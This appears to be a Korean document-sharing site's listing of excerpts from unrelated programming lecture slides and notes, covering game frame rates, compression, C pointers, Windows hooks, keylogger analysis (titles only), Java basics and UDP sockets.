슬라이드 1 2007 년 2 학기윈도우게임프로그래밍 제 7 강프레임속도의조절 이대현 핚국산업기술대학교 학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용핚다. FPS(Frame Per Sec)

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070> /* */ /* LZWIN.C : Lempel-Ziv compression using Sliding Window */ /* */ #include "stdafx.h" #include "Lempel-Ziv.h" 1 /* 큐를초기화 */ void LZ::init_queue(void) front = rear = 0; /* 큐가꽉찼으면 1 을되돌림 */ int LZ::queue_full(void)

More information

Introduce

Introduce Windows Hook Jerald Lee Contact Me : lucid7@paran.com 본문서는저자가 Windows Hook을공부하면서알게된것들을정리할목적으로작성되었습니다. 본인이 Windows System에대해아는것의거의없기때문에기존에존재하는문서들을짜집기한형태의문서로밖에만들수가없었습니다. 문서를만들면서참고한책, 관련문서등이너무많아일일이다기술하지못한점에대해원문저자들에게매우죄송스럽게생각합니다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 ) 8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 ) - DDL(Data Definition Language) : show, create, drop

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 3 장함수와문자열 1. 함수의기본적인개념을이해한다. 2. 인수와매개변수의개념을이해한다. 3. 함수의인수전달방법 2가지를이해한다 4. 중복함수를이해한다. 5. 디폴트매개변수를이해한다. 6. 문자열의구성을이해한다. 7. string 클래스의사용법을익힌다. 이번장에서만들어볼프로그램 함수란? 함수선언 함수호출 예제 #include using

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

콜백 함수와 후킹 기법

콜백 함수와 후킹 기법 콜백함수와후킹기법 (Callback functions and Hooking Techniques) Win32 API 를이용하여어플리케이션을개발하다보면, 콜백함수에대한내용을많이보게된다. 그렇다면이렇게흔히보게되는콜백함수란과연무엇일까? 그리고, 이런콜백함수를이용해서할수있는것중에서후킹기법을이용하면윈도우운영체제에서사용할수있는여러가지마우스작업이나키보드작업등을중간에서조작하여활용하는것이가능하다.

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에

More information

Microsoft PowerPoint 자바-기본문법(Ch2).pptx

Microsoft PowerPoint 자바-기본문법(Ch2).pptx 자바기본문법 1. 기본사항 2. 자료형 3. 변수와상수 4. 연산자 1 주석 (Comments) 이해를돕기위한설명문 종류 // /* */ /** */ 활용예 javadoc HelloApplication.java 2 주석 (Comments) /* File name: HelloApplication.java Created by: Jung Created on: March

More information

Microsoft Word - PLC제어응용-2차시.doc

Microsoft Word - PLC제어응용-2차시.doc 과정명 PLC 제어응용차시명 2 차시. 접점명령 학습목표 1. 연산개시명령 (LOAD, LOAD NOT) 에대하여설명할수있다. 2. 직렬접속명령 (AND, AND NOT) 에대하여설명할수있다. 3. 병렬접속명령 (OR, OR NOT) 에대하여설명할수있다. 4.PLC의접점명령을가지고간단한프로그램을작성할수있다. 학습내용 1. 연산개시명령 1) 연산개시명령 (LOAD,

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

Microsoft PowerPoint - 04-UDP Programming.ppt

Microsoft PowerPoint - 04-UDP Programming.ppt Chapter 4. UDP Dongwon Jeong djeong@kunsan.ac.kr http://ist.kunsan.ac.kr/ Dept. of Informatics & Statistics 목차 UDP 1 1 UDP 개념 자바 UDP 프로그램작성 클라이언트와서버모두 DatagramSocket 클래스로생성 상호간통신은 DatagramPacket 클래스를이용하여

More information